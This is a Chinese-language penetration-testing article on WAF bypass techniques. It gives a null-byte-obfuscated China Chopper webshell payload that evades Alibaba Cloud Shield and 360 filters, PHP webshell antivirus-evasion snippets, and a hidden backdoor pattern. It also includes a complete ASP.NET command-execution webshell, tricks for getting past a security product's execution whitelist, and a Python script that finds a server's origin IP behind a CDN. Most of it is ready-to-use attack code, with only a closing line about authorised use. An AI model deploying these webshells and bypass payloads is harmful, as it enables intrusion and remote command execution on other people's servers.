我的WafBypass之道(Misc篇)
字数 1024 2025-08-29 08:31:41
WAF Bypass 技术详解(Misc篇)
0x00 前言
本文主要介绍几种实用的WAF绕过技术,包括菜刀连接拦截绕过、Webshell免杀、禁止执行程序绕过以及CDN查找原IP的方法。
0x01 Bypass 菜刀连接拦截
阿里云盾绕过案例
-
原始拦截数据:
@eval(base64_decode($_POST[z0])); -
绕过方法:
- 在eval函数名后插入空字符
%00或%01 - 在左括号前插入空字符
- 对base64内容进行分段处理,在特定位置插入空字符
- 在eval函数名后插入空字符
-
最终绕过payload:
a=@eval%00(base64_decode%00($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%01%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
360主机卫士绕过案例
在eval函数前面插入任意URL编码的字符即可绕过拦截。
0x02 Webshell免杀技术
使用mb_convert_encoding函数绕过
-
基本原理:
- 利用编码转换函数混淆恶意代码
- 主机防护软件通常不会拦截编码转换函数
-
示例代码:
$str = base64_decode("cGhwaW5mbygpOw=="); $str1 = mb_convert_encoding($str, "GBK"); @eval($str1); -
绕过效果:
- 可绕过安全狗、主机卫士、云锁等防护软件
其他推荐方案
-
利用404页面:
- 在正常程序中多次调用GET/POST/Cookie的代码里插入后门
- 示例:
//$a=$_POST['a']; //$b=$_POST['b']; $a($b); // a=assert&b=phpinfo()
-
利用ADS流:
- 使用NTFS备用数据流隐藏Webshell
-
利用.user.ini:
- 通过修改.user.ini文件实现后门植入
0x03 Bypass 禁止执行程序
安全狗白名单绕过
-
安全狗白名单程序示例:
%windows%Microsoft.NET/Framework/v1.1.4322/aspnet_wp.exe %windows%Microsoft.NET/Framework/v1.1.4322/csc.exe %windows%Microsoft.NET/Framework/v1.1.4322/vbc.exe ... -
绕过方法一:利用白名单程序作为参数
StartInfo.Arguments = @"/'C:/Windows/Microsoft.NET/Framework/v1.1.4322/vbc.exe' " + argm.Value; -
绕过方法二:利用Windows文件名特性
- 上传名为
vsjitdebugger.exee的cmd程序 - 利用安全狗不完全匹配的特性绕过
- 上传名为
执行CMD小马示例
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
protected void FbhN(object sender,EventArgs e){
try{
Process ahAE=new Process();
ahAE.StartInfo.FileName=path.Value;
ahAE.StartInfo.Arguments=argm.Value;
ahAE.StartInfo.UseShellExecute=false;
ahAE.StartInfo.RedirectStandardInput=true;
ahAE.StartInfo.RedirectStandardOutput=true;
ahAE.StartInfo.RedirectStandardError=true;
ahAE.Start();
string Uoc=ahAE.StandardOutput.ReadToEnd();
Uoc=Uoc.Replace("\r\n","<br>");
tnQRF.Visible=true;
tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";
}catch(Exception error){
Response.Write(error.Message);
}
}
</script>
0x04 Bypass CDN查找原IP
方法一:使用国外多地Ping
- 收集偏门国家的DNS服务器
- 使用nslookup查询目标域名
- 比较不同DNS返回的结果
自动化脚本实现
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import re
import sys
import time
import threading
import dns.resolver
class Bypass_CDN:
def __init__(self,domain,dns_dict):
self.domain = domain
self.myResolver = dns.resolver.Resolver()
self.dns_list = set([d.strip() for d in open(dns_dict)])
self.good_dns_list,self.result_ip = set(),set()
def test_dns_server(self,server):
self.myResolver.lifetime = self.myResolver.timeout = 2.0
try:
self.myResolver.nameservers = [server]
answer = self.myResolver.query('google-public-dns-a.google.com')
if answer[0].address == '8.8.8.8':
self.good_dns_list.add(server)
except: pass
def load_dns_server(self):
threads = []
for i in self.dns_list:
threads.append(threading.Thread(target=self.test_dns_server,args=(i,)))
for t in threads: t.start()
while True:
if len(threading.enumerate()) < len(self.dns_list) / 2: break
else: time.sleep(1)
for j in threads: j.join()
def ip(self,dns_server):
self.myResolver.nameservers = [dns_server]
try:
result = self.myResolver.query(self.domain)
for i in result: self.result_ip.add(str(i.address))
except: pass
def run(self):
self.load_dns_server()
threads = []
for i in self.good_dns_list:
threads.append(threading.Thread(target=self.ip,args=(i,)))
for t in threads: t.start()
while True:
if len(threading.enumerate()) < len(self.good_dns_list) / 2: break
else: time.sleep(1)
for j in threads: j.join()
for i in self.result_ip: print i
if __name__ == '__main__':
dns_dict = 'foreign_dns_servers.txt'
bypass = Bypass_CDN(sys.argv[1],dns_dict)
bypass.run()
其他方法
-
DNS历史记录查询:
- 使用Rapid7的DNS解析记录库检索历史记录
- 检查NS/TXT/MX记录
-
服务器主动连接:
- 上传图片等资源让服务器主动连接你的服务器
- 检查访问日志获取真实IP
-
邮件服务器探测:
- 通过注册等方式让目标发送邮件
- 检查邮件头获取邮件服务器IP
- 扫描邮件服务器所在网段
0x05 总结
本文介绍了多种实用的WAF绕过技术,包括:
- 通过插入特殊字符绕过菜刀连接拦截
- 利用编码转换函数实现Webshell免杀
- 利用白名单和Windows特性绕过程序执行限制
- 多种方法查找CDN背后的真实IP
这些技术在实际渗透测试中具有很高的实用价值,但请注意应在合法授权范围内使用。